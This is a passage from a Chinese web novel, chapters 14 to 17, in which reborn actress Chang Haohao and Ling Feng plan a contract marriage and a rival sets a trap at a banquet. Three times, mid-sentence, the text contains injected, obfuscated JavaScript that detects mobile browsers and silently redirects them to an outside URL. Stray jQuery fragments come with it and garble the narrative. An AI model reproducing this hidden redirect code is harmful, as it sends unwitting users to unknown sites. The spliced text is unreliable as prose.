他眼光长远,看事情透彻,一眼便看出两个人的关系里谁占主导,谁更上头。于是不再叹气,目光直视凌枫的脸。看得常好好心一下子提到嗓子眼,砰砰砰地直跳,小手在桌子底下偷偷袭击凌枫的腿,暗示他想好了再回答,别说一些没用的屁话。 在这紧张万分的时刻,成世轩忽地眼光一转,语重心长地道:“忆时啊。” 额…… 啥? 14. 口碑 常好好淘气的小手僵住,眨巴眨巴眼睛,无辜的小眼神望着成世轩。等手缓了过来,快速举起来,指着自己的鼻头,就差把问号写在脸上。 成世轩继续道:“大哥知道你从小玩心重,但懂得分寸,是个讲道理的人。” 不是?等一下。 事情的发展不太对。 听成世轩话里话外的意思,好像她不顾后果把凌枫推倒,发生了一些不可描述的事情,然后又不想对凌枫负责的态度。 请问这对吗? 真是离了个大谱。 对面的成世轩依然在叨叨叨的开导,常好好白眼翻了一个又一个,气得把脚伸向凌枫脚旁,用力踩了踩。发现她的幼稚行为,凌枫处事不惊,默默收回脚,连个眼神都不给她。 忍无可忍,无需再忍。她憋着一口气,实在憋不住了,张口打断成世轩,一本正经地反问:“大哥,你觉得我是那种贪图美色的人吗?” 成世轩面色凝重,先是蹙了蹙眉,手抵着下巴,仿佛在思考些什么。 时间一分一秒过去,大家都被他的这份专注所吸引,静静等待他的回答。 片刻,他郑重地点了点头,用无比认真地眼神看向常好好,“不是吗?” 常好好:“……” 原来在他们心里,她不仅是个玩咖,还是玩咖中的外貌协会。 口碑这样的吗? 凌枫感知到身侧女人的变化,有一种深受打击,变蔫了的感觉。 这种场合他难得想笑,硬挤了回去,顿了顿,才摆出老好人的样子,“我和忆时的事情有些复杂,但我们能处理好,大哥放心。” 这就喊上大哥了? 常好好对某人嗤之以鼻,心里暗骂凌枫“表演型人格”,等骂了好几个来回才意识到,凌枫本来就叫成世轩大哥。索性懒得理他们,自顾自的生着闷气。 活了三十二年,第一次知道她在所谓的家人眼前是这种形象。 好在她的不爽来得快,去得也快。 毕竟是当过顶流的人,心理素质杠杠的,很快转变心态。拿起餐桌上的苹果狠狠咬上一大口,瞄了几人一眼,漫不经心地说:“贪图美色怎么了,管他是谁,反正被姐拿下了。”话落,调戏一样,给凌枫抛了个媚眼。 凌枫原本勾起的唇角僵在那里,好像没料到女人如此大胆,垂下眸子,暗中眯了眯眼。 因为父亲成知聿的缘故,成世轩对传统教育根深蒂固,更何况拿感情方面开玩笑。一时间竟不知如何反应,还好赵莉走过来转移话题,屋内的气氛才算没那么尴尬。 原本成世轩打算一道带常好好去凌家。 他瞥了一眼凌枫,决定不按原计划进行,带着老婆孩子离开。 等他们走了,常好好整个一大变样,拖鞋一甩,双腿盘起坐在沙发上,左手杵着脑袋,右手喝着奶茶,眼睛一眨不眨地看着凌枫,仿佛能把他看出花来。 “他俩有点怪啊。”沈骁小声嘀咕,“昨天到底发生了什么?” 安燃见怪不怪地说:“他们能有啥。” 沈骁抓耳挠腮,实在太好奇他们的真实关系,特意把安燃拉到更远的地方,防止被那边两人听到,“你说他们昨天是不是真发生啥不可告人的关系?气氛不对,绝对有问题。” 安燃想都不想地摇头:“不可能,你想多了。” “你未免太笃定了点。”沈骁不解,“莫非凌枫有喜欢的人?” 安燃又摇了摇头:“没听说。” 沈骁脸一变,“那你说个屁不可能。” “你看他俩现在这架势……”安燃带着沈骁一同把目光投到“对峙”两个人中,看样子谁也不服谁,他摊手问,“你觉得有可能性?” 沈骁被说服了,点了点头:“这么看的话确实没有。” 不知过了多久,常好好揉了揉酸痛的双眼,看着凌枫那张欠揍的帅脸,撇了撇嘴:“说你主动追人估计没人会信。对外就说我追的你吧,倒是符合我在大家心目中的形象。” 今天成世轩的话让她不得不多想,寻思来寻思去,反而给自己整笑了,一把拽住凌枫的袖子,双眼蹭亮蹭亮的,“他们私底下会不会怀疑我有集邮癖好?” 凌枫嘴角抽了两抽,不发表言论。 常好好越想越有趣,身子比刚才贴近了些,继续问道:“凌枫,在你心里我是什么样的人?” 凌枫眼神有点发直,像是看向很远的地方。眉头不自觉地皱在一块儿,嘴角也紧紧抿着。 半晌没动弹,整个人沉浸在只有他自己知道的回忆里。 过了一会儿,才像是回过神。 “你是,”凌枫正色道,“人。” “……” 废话,不是人是啥? 常好好身体定住甚至忘了退后。她就不应该问这个毒舌男,毒嘴里能出来什么好话。 不想再继续这个话题,以免控制不住自己即将喷射而出的火苗,她的手用力压住胸口,深呼一口气,努力挤出一抹假笑,言归正传:“对了,有个问题一直想问你。你公司里,男领导有女儿的多吗?” 话题说转就转。 凌枫不明所以,顿了几秒钟,依旧如实说:“不多不少。” 常好好望着男人那张五官立体的大帅脸,心想:嘴不那么毒的话,就好了。 远处,沈骁举起拳头捶自己的腿,表情别提多激动,“妈呀,你快看啊,他俩突然贴这么近,太暧昧了吧。” 磕CP她是专业的。 安燃看向两个人所谓的“贴近”,脸上没太多情绪,无所谓地耸了耸肩:“又不是贴脸亲上了。” “你更离谱,要是贴脸不就成了吗。”沈骁探头张望,小嘴嘀咕个不停,“我感觉他俩有戏,我磕cp很厉害的,磕一个成一个。” 安燃放下《重生计划手册》,仔细观摩常好好与凌枫有多好磕,发现二人仍然处于对峙,连一丁点火花都没冒出。他虽不是演员,但对磕cp有所了解。 退役前,他与凌枫上过好多次超话cp榜前三名,没事挺喜欢用小号潜水。 想到曾经的辉煌,他语气中带着嫌弃:“糖太硬,你不怕牙崩?磕他们不如磕我和凌枫,或者我和好好。” 沈骁不服:“你在向我挑战?瞧不起谁呢,我磕cp超厉害。” 安燃:“你磕哪对?” 沈骁沉默一会儿,伸出右手,比划着手指头,一连输出四对CP,亲眼目睹安燃从期待、到震惊、再到惶恐。她得意地轻哼,刚要装一波大的,被安燃的话怼了回去:“你换几对磕吧,这里面没一对真的。” “?” “你看哈,”安燃学着她的样子,一个一个掰着手指头,边掰边说,“一对差点在后台打起来;一对是好闺闺;一对都各自结婚,男方都二胎了;一对是亲戚。” 沈骁懵逼了,感觉自己好像被无形的大锤迎面抡了一下,而且是重重的一锤子,差点来个趔趄。 半分钟过去,她机械地眨了眨眼,一字一顿地道:“你说真的?” “最后一个是不是有点过分了。” 完全理解她的心情,安燃拍了拍她,语重心长地道:“娱乐圈娱乐圈,重点是娱乐,都是人设和戏精,别太当真。”忽地想起一个评论,他直接笑出声,“我曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242736|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见网上有知名营销号说我和凌枫在国外注册结婚。都是乐子,没必要在意……”不等他把话说完,沈骁扭头走了,他眉头微微皱了皱,“诶?你去哪?” 两个人动静太大,想忽视都不行。 常好好对沈骁渐渐熟悉,基本了解她的性子,不想被她打岔影响思路,却还是没克制住。视线一撇,朝沈骁那边望去,昨晚她喝醉睡着后到底发生了什么,他们有没有被凌枫发现? 越琢磨越焦虑。 “你刚才的话什么意思。”凌枫后知后觉地问。 “啊?”常好好张大嘴,说啥了来着。她想起刚才的问话,瞥了凌枫一眼,想着与其被发现解释,不如直率坦诚,说不定能让他对她更加信任。 下定决心,她轻抬屁股,伸手把自己那份《重生计划手册》拿起来,递给凌枫,“重生的事是真的,你相不相信,我没法左右。但该说的我都说了。我们现在是一个团队。这里面记录了我们每个人接下来的计划,你好好看看。” 看见手册,凌枫往常那张冷冷淡淡的脸猛地僵住,手不自觉地掂了掂厚厚一大摞纸,难得陷入迷茫。 再抬起头,对上常好好那双“没错,就这么多”的笃定眼神。缓了缓,又缓了缓,他恢复如初,仿佛前一刻震惊的人不是他,极其淡定地翻开第一页。 该说不说,凌枫的接受能力相当牛,效率也极高。 不到一个小时的时间,他默默地合上手册,目光再度回到她的脸上,“除了世泽外,符合条件的只有三人。业务一部总经理林旭阳、财务部会计梁健、财务部总监曾远。” 好家伙。 经典三选一啊。 常好好勾了勾唇,“你信了?” “什么?” “我们重生的事。” “嗯。” 得到肯定的答案,她心里莫名感到踏实,笑着从凌枫那里拿回手册,从边几台面上随手拿起一支笔,手指捻着纸张边缘,唰唰地翻,越翻越快,“奇了怪了,哪去了。”她小声嘀咕着,手指头动作依旧,来回翻了无数次,终于找到理想的那页,用嘴轻轻拔掉笔帽,快速写下刚才三个人的名字,然后抬头看向凌枫,目光充满了期待,“多说一说他们几个人的特点。” 凌枫慢慢道来。 “梁健是魏筝的直系领导,为人圆滑。相比较其他几人,他们相处时间更长,更容易发现魏筝的账面问题。目前女儿刚满一岁。” “曾远是财务部总监,掌管整个财务部,包括梁健和魏筝,权力大。性格内敛,注重细节,女儿三岁多。” “林旭阳是世泽一手带出来的人。业务能力高、健谈、正直,去年年底女儿出生,现在不到一岁。” “当初面试魏筝的人除了世泽,还有曾远和林旭阳。” 常好好手里的笔几乎没停过,写得太快,字有些飘,但她根本顾不上。写完还会无声重复着每个人的特点和疑点,生怕遗漏重点。 果然,这三个人或多或少与魏筝有明面上的联系。按照这个速度,破解魏筝的谜团不难。她松了口气,脑海里闪过一个人的脸,心又被提了起来:“你认为排除我二哥合理吗?” 凌枫端起水杯,不动声色地喝了一口,平静道:“不可能是他。” “你怎么知道?你又不是他本人。”常好好不认同凌枫的话,“凡事不能绝对,你确定你了解全部的他?况且他跟我前嫂子关系一直不太对劲。” 凌枫目光落在她的衣领领口处,浅蓝色的蝴蝶刺绣上。 简简单单的一眼,像被猛地拽回十四岁过年那几天。家里有成世轩、成世泽、凌楷,还有他和常好好。 15. 暗示 他垂下眸子,掩盖眼底的情绪:“世泽和齐薇感情不好并不代表什么,两个人不合适罢了。” 此言一出,常好好眼神躲闪,下意识地抬手挠了挠耳垂。 这男人会读心术?竟然猜到她心里的想法,真是一个可怕的男人。她清了清嗓子,“以你对他们几个人的了解,谁最有可能是威胁利诱魏筝的恶臭渣男。” 凌枫再次喝了一口水,轻飘飘的开口:“不好说。” 常好好轻叹一口气,不再问凌枫,视线锁定在纸上的三个名字。她目光灼灼就差把纸看穿,感到颈椎不舒服,立刻仰起脖子,却瞥见凌枫正直勾勾地盯着她的脸看,心里忽地一紧。 琢磨着对方又要对她进行毒嘴攻击,她打算主动出击,嘴张了好半天,愣是没蹦出一个字。 没办法,她是个正常人,嘴里发射不出毒液。 “结婚的事交给我,我会处理好。”凌枫道。 结果出乎意料,男人嘴里蹦出来的竟然不是毒液。 对方恢复正常,她忽然有点不习惯,迟疑地问:“你确定?” “放心,我的解决方式包所有人满意。”凌枫起身跺了跺脚,略微褶皱的长裤慢慢垂直,他手指点了点《重生计划手册》,“既然是一个团队,麻烦帮我打印一份,谢谢。” 口气真大,不过态度可以。 凌枫处事快准狠,分析问题头头是道,算是一名优秀的队友。团队里有他在,让人安心不少,就是嘴毒了点。 “哎!” 常好好不由得发出一声感叹。 人生就是如此,哪有完美的人和事。况且没有对比没有伤害,他比王洋强几百倍。眼下她看凌枫是越看越顺眼。 女人目光炙热,凌枫觉得自己的脸快要被看出个洞,沉默片刻,他用非常严肃的语气喊了声:“常好好。” “咋了?”常好好面带微笑回道。 “你清醒一点。”凌枫的毒嘴发起攻击,“我们是协议结婚,一切按照合同来。履行合约期间把持住自己,别被我迷得过于上头。” 要不要点脸? 虽然你长得帅,身材一绝,手臂线条让人难以忽略,智商又高,气场很足,穿衣很有品位,完全在她的心巴上。但也不至于真看上你,ok? 前面这些话属实多余了。 她庆幸自己嘴没那么快,静默三秒钟,脑海里过了一遍人设。做完这些,慢悠悠地睁开双眼,仿佛没事人似的,丝毫不受毒嘴影响,心平气和地说:“你放心,虽然我对你本就上头,但是绝不会真把你怎么样,我是一个有原则的人,并且道德感极高。” 凌枫一脸“你确定?”的不信表情,很给面子没有说出反驳的话。他不着痕迹地看了常好好一眼,再收回视线直视前方,“你昨天说的话让我很震惊。” 话一落地,常好好反倒不淡定起来。她嘴巴张着,半天合不拢。手一抖,水杯差点没拿住。 令他震惊的话…… 她使劲揉着太阳穴,眉头紧皱。昨晚喝醉后发生的事像蒙了一层厚雾,只能抓到几个零碎画面。 自己好像举着酒杯哭一阵、傻笑一阵,又好像拉着他不停说话。具体说了啥?死活想不起来。 即便如此,戏不能落下。 “你确定我是跟你说了震惊的话,而不是对你做了啥震惊的事?”她故作不好意思,声音放低,手指无意识地绞着头发。 “我没喝多,你放心。”凌枫云淡风轻,用温和的语气说出强硬的话,“我看起来像是任人拿捏的人?” 那倒真不是。 常好好努力回想,却一点印象都没有。其实到了现在这个节骨眼,即便他昨晚碰见沈骁和安燃也无所谓,反正她已坦白重生的情况,其他小细节随便编个谎话糊弄过去,只要他没发现他们藏起来的东西就行。 等等。 他会发现吗? 沈骁和安燃都不是靠谱的队友。 见他迟迟不往下说,常好好装傻:“我真没对你做一些不可描述的事?” 凌枫唇角微扯:“没有。” 对方始终不说清楚,常好好隐隐约约感到不安,睫毛快速颤动了两下,心里已经开始计算着不好的可能性。 “我把我密码本里的机密告诉你了?” 凌枫饶有兴趣地扬了扬眉:“密码本?” 瞧他这副模样,她松了口气,很好,不是这个。 “你找到了一个快递箱?” 凌枫疑惑道:“什么快递?” 也不是这个。 万幸万幸! 凌枫看着她蹙眉苦思的痛苦表情,难得心头一软,原本继续逗弄她的心思忽然就散了。 他道:“你跟我说了你进入演艺圈的前因后果。”见女人没有反应过来的呆萌样,又深沉地补充一句,“很辛苦吧。” 常好好正捧着水杯发愣,男人突如其来的一句话落在她心底。 她想起以前站在剧组搭好的戏棚里,遇到无法理解的台词和剧情,按照导演和投资方要求,硬着头皮与其他演员演对手戏;想起以前在综艺节目录制过程中,嘴巴里念出来的词都是早已备好的台本,无需她有自己的想法,只要注意好表情管理,默默跟着主持人的节奏走,直到下班;想起以前参加各大盛典活动面对镜头时,与不熟的明星亲密互动,与关系不错的明星朋友装不认识,与讨厌的明星对视假笑。 种种一切让她无法真正开心,哪怕后来站在了她认为的“最高点”,依然如此。 后来成世泽出事,这口罪恶的大锅扣在她的头上,她的世界仿佛陷入了更恐怖的黑暗中。 身边的亲朋好友,爱她的粉丝朋友们给与了她温暖。可这些并不能支撑多久。她感觉自己被无数唾沫淹没,被整个世界抛弃。 这时,曾经是对家的演员同事在没有镜头的化妆室当面安慰她。那一刻,整个人展露出的担忧情绪是骗不了人的。多年不联系,曾经有过矛盾的好友忽然给她打了一通电话,一直聊到他们从前一起玩耍时忽略掉的小细节。刑警问话中,得知自己成年后特别厌恶的二哥成世泽,其实在默默保护着她。 于是,她更加恍惚。不知道这个世界里到底哪些是真、哪些是假。 她分辨不了,陷入了更可怕的深渊里。直至某天她什么都不想做,在家里宅了整整一天。忽然慢下来的生活,好像让她与内心深处的自己建立起了连接。 她发现——这个世界没什么大不了的。 现在往回看,最痛苦的时刻不是邓敏给她下的绊子。不是成知聿和成世泽的“背叛”。不是进入演艺圈的经历。而是陷入误区,讨厌一切,讨厌自己。 总之。 此时此刻。 她,又活过来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242737|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 常好好窝在沙发里,看着阳光一点点爬满窗台,忽然觉得心里面拧巴的疙瘩,就这样悄无声息地松开了。 她微微勾了勾唇角:“过去了,我要向前看。” 凌枫原本垂下的眼眸抬起。他很快恢复常态,视线往远处移了半分,停顿几秒道:“走吧,我们该出发去凌家了。” 常好好偷笑,总算找到机会与沈骁和安燃汇合。结果怎么着,人家俩人先出发,临走前沈骁给她递了一个她完全看不懂的眼神,一如既往的不靠谱。 车上,凌枫稳稳把住方向盘,余光扫向副驾驶位置上的女人,察觉到她与以往不同,一句话不说,脸朝着车窗,好似在沉思。这让他起了好奇心,却没有立即开口。 他不知道的是,女人脸朝另一边,是因为脸都被气绿了。 临走前,换衣服的功夫才有机会打开手机给沈骁和安燃发消息,看见那俩奇葩大半夜不睡觉,在群里发了一百多条信息。这也就算了,吐槽她的话就不能退出去单聊? 她不就是听到凌枫同意结婚,一激动又多喝五瓶酒,直接喝倒了吗。 越想越心虚,常好好轻咳两声,侧头瞥向凌枫,“你说他们看见我们一起出现在你家庄园,会有哪种反应?” “今天最好维持原样。”凌枫道。 他什么意思? 常好好心跳加速,手指蜷缩起来,有种不好的预感。 “凌枫,你不会是反悔了吧?” “昨天聚餐和今天的状态不能差距太大。”凌枫云淡风轻地说。 常好好松了一口气,摆了摆手,“成世轩脑补那么多,肯定会透露一点,没关系的。” “需要过渡。”凌枫沉默几秒,“你想被其他人发现我们是假的?” 常好好吃瘪,忍住反驳他的冲动,维持深爱他的人设,并在心里把他骂了一遍后才道:“我刚才在想,我们在阿姨面前也要演戏吗?”她对方琴印象极好,“你妈妈知道我们俩假结婚影响应该不会很大吧。” 凌枫笑了。 常好好喜欢看凌枫微笑,歪着头欣赏着美好的一幕。紧接着男人的话传了过来,“她会每天出现在我们面前,直到她认为我们真的在一起才会罢休。” 常好好扯了扯唇,“嗯,那还是瞒着她吧。” 没过多久,他们到达目的地。 车停在地下车库。 常好好下车后揉了揉太阳穴。今天不大演一场对她来说是个好主意。昨晚太上头,喝了太多酒,现在还没有彻底缓过来。 想到昨晚的事,她好奇问道:“对了,你昨天为什么没走?” “你给我喝的是果酒。” 额…… “是吗?不好意思,我太久没回这个家,家里的物件和我印象里有出入,我还以为那个瓶子里装的是果汁呢。” 上一世,常好好两年后知名度一下子上升。因为工作原因,她至少搬了两次家。 凌枫脸上没什么表情,跟平常一样,手臂轻轻一挥,示意常好好跟着他走。二人一同进入电梯内。 对于凌枫到底重没重生这件事,常好好每天都在脑子里扫过无数遍。她不是没想过直接问出口,只是心中有所顾虑,担心因此影响到他们的合作。 合同没签到手,绝不能乱来。 但是。 暗示,暗示总可以吧? 16. 宴会 “凌枫,假如你也重生了,第一件事想做什么?” “不知道。” 这个回答,未免太没有诚意。 “叮!” 电梯到达一楼。 常好好心不甘情不愿地主动提出凌枫先进去。 亲眼目睹凌枫消失的身影,她对着空气来了一套组合拳。然后揉了揉略微吃痛的手腕,默默等待沈骁和安燃。 未看见沈骁人影,先听到她非常有标志性的大嗓门。 “哇靠!” “哇靠!” “哇靠!” “你能换个词吗?”常好好头晕脑胀,说起话来有气无力,“你们两个精力真旺盛,趁凌枫睡觉后出去,不回家睡觉反而去酒吧消遣到早上。”越说越佩服,反问道,“你们俩不困吗?” 大厅里宽敞明亮,地上铺着厚厚的地毯,踩上去一点声音都没有。长桌上铺着带有细花纹的白桌布,银质餐具擦得锃亮,摆满了各色点心和香槟塔。落地窗外能望见一大片修剪整齐的草坪。 人们互相寒暄着,笑声和碰杯声此起彼伏,整个厅里热热闹闹的。 沈骁一门心思放在欣赏庄园上,没听见常好好的话。 常好好见怪不怪,提醒她:“擦一擦你的口水。” 这句话沈骁倒是听见了,抬手擦嘴。发现被骗,沈骁也不生气,边走边挽着她的手臂,“真羡慕你们,含着金钥匙出生。我敢说,我的小说都不敢写太夸张,谁能想到现实比小说还要浮夸。” “呵呵。” 常好好目光停留在一处,胳膊肘碰了碰沈骁,抬起下巴,“看见那边穿深蓝色上衣的男人没。” “看见了。” “他刚创业成功,新兴行业。” “天啊,年轻有为啊。以后不得了。”沈骁忽然意识到他们从七年后回来,双手猛地一击掌,双眸里难掩兴奋,“他七年后是不是更牛逼。” “确实,”常好好停顿半晌,“他进去了。” “……” “他上面有两个哥哥,家族企业不用他上手,平时吃穿不愁,家里人惯着,身边人拥护着。基本没受过挫折,后来被创业打击,一蹶不振怨天怨地,开始走歪道,结局很惨。” “离我们最近,穿白色连衣裙的女人看见了吧。”沈骁继续指人。 沈骁一脸错愕,想到了某种可能性,“她该不会也……” “不是。她家里人偏心妹妹,先后被家里人和凤凰男伤害,有段时间听说心里出现问题,后来出国了,七年间没回来过。” “还有那边穿红色衣服的一对儿。” “我看见了,他们是夫妻?” “对,目前为止,男人是典型的霸道总裁,女人是典型的超级恋爱脑。他们今年新婚,一年后离了,比成世泽离得还快。三年后复合,然后又离,又复合,来来回回折腾好几次。” “三年后男方家里破产,女方拼命帮忙,不惜用自己的人脉和家族势力,结果费力不讨好,被男方和男方家里人打击和谩骂。最可怕的是,一个愿打一个愿挨,女人被骂大气都不敢出,把女人家里气的啊。总结,他们是非常配的一对。” “最后呢。” “谁知道呢,反正七年后是离了,但不排除,他们在未来的某一天又复合了。” “……” “所以说啊,别羡慕眼前这些所谓的有钱人。有的人家里条件好,脑子却有问题。有的人原生家庭一言难尽,带来的伤害是不可逆的。有的人开局就是他的最高峰。你说你羡慕他们干嘛?” “也不至于所有人都这样吧。”沈骁道,“你看凌枫,凌枫就很完美。” “完美个屁!”常好好秒回答,“世界哪有完美的人?那是因为你不了解他。” “哦,你了解他?”沈骁露出对八卦渴望的嘴脸。 常好好把沈骁拉到没人的角落里,放低声音,“我刚才不是告诉你了吗。虽然现在我对他不够了解,但是以后一定了解得透透的。” 沈骁学着她的动作,甚至更夸张,脑袋左右探一遍,眼睛贼兮兮的,低下头,任谁看都像贼,“所以,他真答应跟我们合作了?” “千真万确。”常好好附在她耳边说,“我跟他谈妥了,最近找个时间赶紧把合同签了。” 沈骁激动地挥舞拳头:“干的漂亮好好!” 宾客们三五成群,端着酒杯低声谈笑。赵奕一瞥见常好好躲在角落里,和身边一个她从未见过的人交谈,心下疑惑,脸上挂着得体的微笑,眼神变得锐利,冷静地计算着下一步。 “你们看,忆时来了。”她刻意提高音量。 “哪呢?” “真在那,她什么时候来的,在那干嘛?” “我们去找她吧。” 沈骁正和常好好交头接耳。 “听你讲完我突然意识到我自己挺好的,其实大家都差不多少嘛。”沈骁心理平衡许多,不再“哇哇哇”的感叹。她眼神敏锐,察觉到前方异动,立马把要说的话收了回去。抬眼,看见有三个女人正朝她们这边走,越来越近,好像真的冲她们而来。 脑海中一段一段的画面袭来,她抿了抿唇,下意识向前一步,伸出手臂将常好好挡在她后面。 她的动作太快,常好好来不及反应,刚张开嘴要说话,赵奕一等人站在他们面前,两伙人距离非常近。 赵奕一右边的女人继续贴近一步。 她道:“小时时,你来了怎么不告诉我一声,信息不回,电话不接,你什么情况?不把姐妹我当回事啊。” 说话的人正是常好好在世家里难得的一位真朋友——肖晗。 小时时? 听对面的语气不像是来者不善,沈骁回头朝常好好使眼色,刻意压低声音:“友军?” 常好好唇角微微一抽,随后给沈骁一个没关系的眼神,跟肖晗等人开启闲聊模式。沈骁是个自来熟,一点不认生,没几句便能插上嘴,不知道的以为她和她们也是认识多年的关系。 肖晗对沈骁一见如故,问道:“这位是?” 常好好看了一眼沈骁,微微停顿。不等她开口,沈骁自告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242738|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奋勇,抢先道:“我是她的保镖。” 听见保镖二字,其他人反应不激烈,仿佛常好好身边有保镖是一件再平常不过的事。 这些世家子弟受家里人影响,都知道成家的事。单在这件事情上面,绝大多数人替常好好鸣不平。 所以沈骁最开始误以为影视剧里那种几人围攻常好好的处境压根不存在。 这也是为什么赵奕一对常好好讨厌至极,却只能背后耍小手段。因为明面上年轻人大都站在常好好那边,直到成世泽出事,谣言满天飞,才有了变化。 “你看见凌枫了吗?”肖晗跟常好好关系好,没什么不好说的,“凌枫还是那副老样子,感觉心情不太美丽,也是难为你了。” 赵奕一总算找到机会,“我听王洋他们说凌枫最近被女明星缠住,不知道真的假的。” “我听说了。但是没用,凌枫肯定会淡淡地看着对方,礼貌地点头,然后头也不回地离开。” “肖晗,你学的太像了。”沈骁觉得肖晗特别有意思。 “是吧,高岭之花嘛,不好接触是正常的,不好拿下更是正常的。”肖晗递给常好好一个“你懂的”小眼神,“你们的婚约什么时候履行,我等着喝喜酒呢。” 另一个女孩跟着附和:“对啊,两年前我就等着呢。” 话音一出,几个人脸色不好,大家都沉默了,包括女孩自己。 赵奕一站出来当好人,“别聊凌枫了,八字还没一撇,忆时不喜欢他那种类型。” “谁说的?” 常好好想都没想,嘴比脑子快,几乎脱口而出。说完才反应过来凌枫的叮嘱,打着哈哈把这个话题让过去,随便开启另一个话题。 话茬递出去,却没有一个人往下接,大家的目光不约而同地放在她身后。 会堂瞬间安静下来。 顺着大家的视线往后瞅,她看见了方琴和凌枫。凌枫换了套西服,整个人跟平时在酷誉时的状态不同,好像更平易近人些。 “你未来老公真帅。” “确实。” “小时时你变了,竟然不反驳我?”肖晗不敢置信地睁大双眼,“你想通了?”激动得一把抓住常好好的手腕,“你呀,终于恢复理智,反应过味了。” 肖晗的话让常好好内疚。 上一世,常好好因为邓敏等人的影响,对凌枫意见很大。她找王洋合作后,肖晗提醒她多回,她都听不进去,为此两个人的关系产生裂痕。 “对不起。”她道。 肖晗愣了下,以为自己听错了,“你刚才说什么?” “没什么。” 常好好不想把肖晗牵扯进来。 肖晗毕业后一直留在深北市工作,偶尔聚餐才回来一趟。上一世,她过得很幸福。她怕跟肖晗说这些,会影响到她原本的生活轨迹。 赵奕一始终观察常好好的一举一动。 见她低头不再言语,心里疑惑更深,稍微侧头,与站在不远处的王洋交换一个眼神。 这一幕刚巧被看向王洋的凌枫捕捉到。 17. 烂戏 生日宴会热闹非凡。 常好好兴趣不大,时不时同旁边的沈骁讨论接下来的计划。即使纸上谈兵,也不妨碍两个人说得起劲。安燃寒暄完跑过来一起探讨。 “忆时,我们一起去楼上吧。”赵奕一出现在三人面前,嘴角噙着笑,两根手指捏着一个精致的金色小领结。 这个笑容常好好再熟悉不过。 她知道赵奕一心里憋着坏,不慌不忙地说:“我的礼物昨天提前给方姨和卓远了。” 一句话把赵奕一下句话堵住,好半会儿才笑着开口:“这样啊。” 上一世,赵奕一和王洋把她坑的太惨。没重生前她想不通,重生回来仍然没明白,不理解赵奕一为何要针对她。 “你陪我去楼上把领结绑在我送的礼物上吧,我一个人无聊又害怕。”赵奕一不放弃,接着说道。 “不就一个人去楼上弄个东西嘛,不至于吧。”沈骁从常好好那里听说过赵奕一的所作所为,多少看她不太顺眼,小声嘀咕一句,顺势往旁边一瞥。庄园会堂一眼望不到边,楼上更是里三层外三层。 她收回眼神,嘴闭得紧紧的,好像刚才说话的人不是她。 赵奕一脸上堆起笑,有一种她不答应不罢休的意思。常好好心里打着小九九,抬起手臂,落在沈骁的肩头处,“好啊,我们陪你一起去。” 听到前半段话,赵奕一眉开眼笑。等到后半段话传到她的耳朵里,明显笑容停顿却没有拒绝,挽起常好好的胳膊往前走。 安燃知道上一世内幕,心知肚明王洋和赵奕一有多烂。想都没想脚下快步跟上,走出五步便被其他来聊天的年轻迷弟迷妹围住,根本脱不开身。 那边,常好好边走边低头盯着赵奕一的手,嘴角下意识咧开,笑得很痛苦,强压住心底那股恶心劲儿,默默做深呼吸,控制住甩开她的冲动。 她演。 她也演。 等走到楼梯拐角处,恰好碰见凌枫与旁人交谈。常好好偏头的同时,凌枫把视线移到她那边。 二人深深看了彼此一眼。此时无声胜有声。 一行三人结伴往楼上走。过程中沈骁比常好好紧张多了。只见她目光警惕,拉住常好好的手心早已渗出汗水,直至走到三楼中间的位置,听见其他人的声音,才让她的心落了地。 “忆时?你们怎么来了?”说话的人是早已等候多时的王洋。 王洋旁边站着常好好从未见过的生面孔。陌生男子看起来二十多岁,跟他们点了头便匆匆离开。 赵奕一扫了眼走过去的陌生男人,终于松开扯着常好好的手,上前两步,摇晃手里的东西,“帮我弄这个。” “领结?” “对啊,回到一楼才发现领结忘记系上。” “行,我们一起进去吧。我记得卓远最喜欢系有小领结的包装。” 赵奕一和王洋一唱一和。 常好好翻了好几个大白眼,与沈骁站在原地看两个人演戏。 沈骁在她耳边,用只有她们两个人能听到的声音道:“果然没有对比就没有伤害。王洋演技弱爆了,看人家赵奕一表情拿捏得多到位。” 常好好一本正经的自评:“我重生前是不是脑子秀逗了。” 沈骁:“……你对自己的评价够狠。” “忆时?”赵奕一回头望向常好好,笑容不达眼底,“我们进去吧。” 常好好稳稳站在那里,没有挪动脚步的意思,“你们去吧,我们在这等你。”意思清晰明了,王洋陪你够了。 “他一个大男人懂什么?你来帮我一起系领结吧,我不太会系。”赵奕一再次靠近她,“我记得你最会系这些包装绳,每次都系得又漂亮又有特点。” 王洋默默站在房间里,没有说话。 常好好视线来回在王洋和赵奕一之间游走。她侧头,正好接收到沈骁笃定的眼神,借着掖刘海的功夫轻轻甩开赵奕一的手,与沈骁始终贴在一起。 